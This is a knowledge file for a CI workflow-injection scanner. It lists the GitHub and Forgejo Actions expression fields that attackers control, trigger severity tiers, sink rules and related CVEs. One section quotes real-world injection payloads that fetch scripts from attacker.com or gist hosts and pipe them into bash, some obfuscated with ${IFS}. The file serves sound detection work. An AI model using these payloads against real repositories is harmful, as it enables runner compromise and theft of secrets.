# Workflow Injection Patterns (E11)

Knowledge file for `scanners/workflow-scanner.mjs`. Covers GitHub
Actions and Forgejo Actions `${{ <expr> }}` injection sinks inside
`run:` step blocks. Sourced from
`.claude/projects/2026-04-29-batch-c-scope-finalize/research/01-github-forgejo-actions-injection.md`
(confidence 0.92, 51 sources).

## Canonical 23-field blacklist

The community has converged on a blacklist (zizmor #1878) rather than a
whitelist of safe fields. The 23 fields below are the v7.3.0 baseline —
GitHub Security Lab's canonical 17-field list plus 6 GlueStack-class
additions. All patterns match both `github.*` and `forgejo.*` prefixes
(Forgejo aliases `github.*` to `forgejo.*` per its Reference docs).

### GHSL canonical 17

```
github.event.issue.title
github.event.issue.body
github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref
github.event.pull_request.head.label
github.event.pull_request.head.repo.default_branch
github.event.comment.body
github.event.review.body
github.event.commits.*.message
github.event.commits.*.author.email
github.event.commits.*.author.name
github.event.head_commit.message
github.event.head_commit.author.email
github.event.head_commit.author.name
github.event.pages.*.page_name
github.head_ref
```

### GlueStack-class additions (v7.3.0)

```
github.event.discussion.title           # CVE-2025-53104
github.event.discussion.body            # CVE-2025-53104
github.event.discussion.user.login      # CVE-2025-53104
github.event.inputs.*                   # workflow_dispatch — string inputs only
github.event.client_payload.*           # repository_dispatch
inputs.*                                # bare `inputs.<name>` (action-side / reusable workflow)
```

## Severity matrix

| Tier | Field class | Trigger context | Severity |
|------|-------------|-----------------|----------|
| Privileged trigger | dangerous | `pull_request_target`, `issue_comment`, `discussion`, `discussion_comment`, `workflow_run` | HIGH |
| Semi-privileged trigger | dangerous | `pull_request`, `workflow_dispatch`, `repository_dispatch` | MEDIUM |
| Other / no trigger info | dangerous | (default fallback) | MEDIUM |
| Numeric / hex / fixed-string | safe | any | INFO (suppressed in summary) |
| Sink mismatch | (any) | `if:`, `with:`, `env:` (block-level), `name:`, `runs-on:`, `timeout-minutes:` | NOT injection — suppressed at parser level |

### Safe fields (INFO-only, never injection sinks)

```
github.event.pull_request.number      # integer
github.event.pull_request.head.sha    # 40-char hex
github.run_id                         # server-assigned int
github.run_number                     # int
github.sha                            # 40-char hex
github.event.action                   # fixed string ("opened" / "closed" / …)
github.event.repository.full_name     # admin-controlled
```

## Trigger taxonomy

### Privileged (HIGH-severity matrix)

- `pull_request_target` — runs on the BASE repo, has write tokens. The
  canonical "pwn-request" trigger.
- `issue_comment` — fires on any new issue/PR comment. Attacker-supplied
  `comment.body` is shell-injectable.
- `discussion` and `discussion_comment` — same shape as `issue_comment`,
  but the Discussion fields evade older zizmor whitelists. CVE-2025-53104
  (gluestack) used `${{ github.event.discussion.title }}`.
- `workflow_run` — chained workflow trigger. Inherits BASE repo
  privileges. NOT documented for Forgejo Actions; Forgejo scans treat
  it as privileged for severity but emit a stderr advisory.

### Semi-privileged (MEDIUM-severity matrix)

- `pull_request` — read-only token from forks; still injectable, just
  less catastrophic.
- `workflow_dispatch` — manual trigger with string `inputs.*`; CVE-2026-35580
  (NSA Emissary) used this.
- `repository_dispatch` — webhook-driven trigger with `client_payload.*`.

## Sink restriction

Only `run:` step content (single-line or block-scalar `|` / `>`) is a
shell injection sink. The runner expression engine evaluates expressions
inside:

- `if:` — boolean evaluation, no shell. (actionlint #443.)
- `with:` — passed to action input; downstream action's responsibility.
- `env:` (any level) — bound to env var; safe IF consumed via `$VAR` in
  the run script. Re-interpolation `${{ env.VAR }}` inside `run:`
  cancels the mitigation (Appsmith CVE GHSL-2024-277).

The scanner suppresses findings whose parent is one of these contexts.
The re-interpolation pattern is detected separately in B4.

## Forgejo divergences

| Item | GitHub | Forgejo | Scanner implication |
|------|--------|---------|---------------------|
| Primary context | `github.*` | `forgejo.*` (alias `github.*`) | Match both prefixes |
| Job-level `permissions:` | Enforced | **Ignored** | Recommendation text mentions Forgejo's server-level token scoping instead |
| `workflow_run` trigger | Supported | **Likely unsupported** | Stderr advisory emitted; severity logic still applies |
| OIDC | `permissions: id-token: write` | `enable-openid-connect` | Out of scope for E11 |

The scanner detects platform from file path (`.forgejo/workflows/` →
forgejo, `.github/workflows/` → github). Both directories are scanned
independently when both exist; there is no fallback from one to the
other (documented design choice — the v7.3.0 plan locked this in to
avoid over-confident mitigation guidance for Forgejo).

## Real-world payload shapes (v7.3.0 reference)

- **`${IFS}` brace-expansion** (Ultralytics CVE-2024):
  `openimbot:$({curl,-sSfL,raw...}${IFS}|${IFS}bash)`
- **Quote-break + curl** (ultralytics GHSA-7x29-qqmq-v6qc):
  `Hacked";{curl,-sSfL,gist...}${IFS}|${IFS}bash`
- **Discussion title `$()` substitution** (gluestack CVE-2025-53104):
  `$(curl -sSfL attacker.com/exfil.sh | bash)`
- **`workflow_dispatch` shell-break** (Emissary CVE-2026-35580):
  `1.0.0"; curl attacker.com/backdoor.sh | bash; echo "`

Single-quote shell escaping provides ZERO protection — template
substitution happens BEFORE shell parsing (Ken Muse, Appsmith CVE).

## Confirmed CVE corpus (NVD / vendor-confirmed)

- CVE-2023-49291 — tj-actions/branch-names ≤7.0.6 (HIGH 9.3)
- CVE-2025-30066 — tj-actions/changed-files (HIGH 8.6, **CISA KEV**)
- CVE-2025-30154 — reviewdog/action-setup v1 (HIGH 8.6, **CISA KEV**)
- CVE-2025-53104 — gluestack-ui (CRITICAL 9.1, Discussion vector)
- CVE-2025-61671 — Microsoft Symphony (CRITICAL 9.3)
- CVE-2026-33475 — langflow-ai/langflow (CRITICAL 9.1)
- CVE-2026-35580 — NSA Emissary (CRITICAL 9.x, April 2026)
- CVE-2026-3854 — GitHub.com / GHES ≤3.19.2 platform-level (HIGH 8.7)

The April 2026 `elementary-data` PyPI compromise (Gemini second opinion)
is on a watch-list pending NVD/StepSecurity confirmation.

## Out of scope (deferred to Batch D / v8.0.0)

- Composite-action input tracing
- Reusable-workflow call analysis
- `GITHUB_ENV` poisoning detection (LegitSecurity, CodeQL `actions-envvar-injection-critical`)
- Zombie-workflow scanning across non-default branches
- IssueOps TOCTOU (SHA at comment time vs review time)
- Authorization-bypass class for `github.actor` checks (Synacktiv 2023
  Dependabot spoofing) — added in B4 as a separate finding category.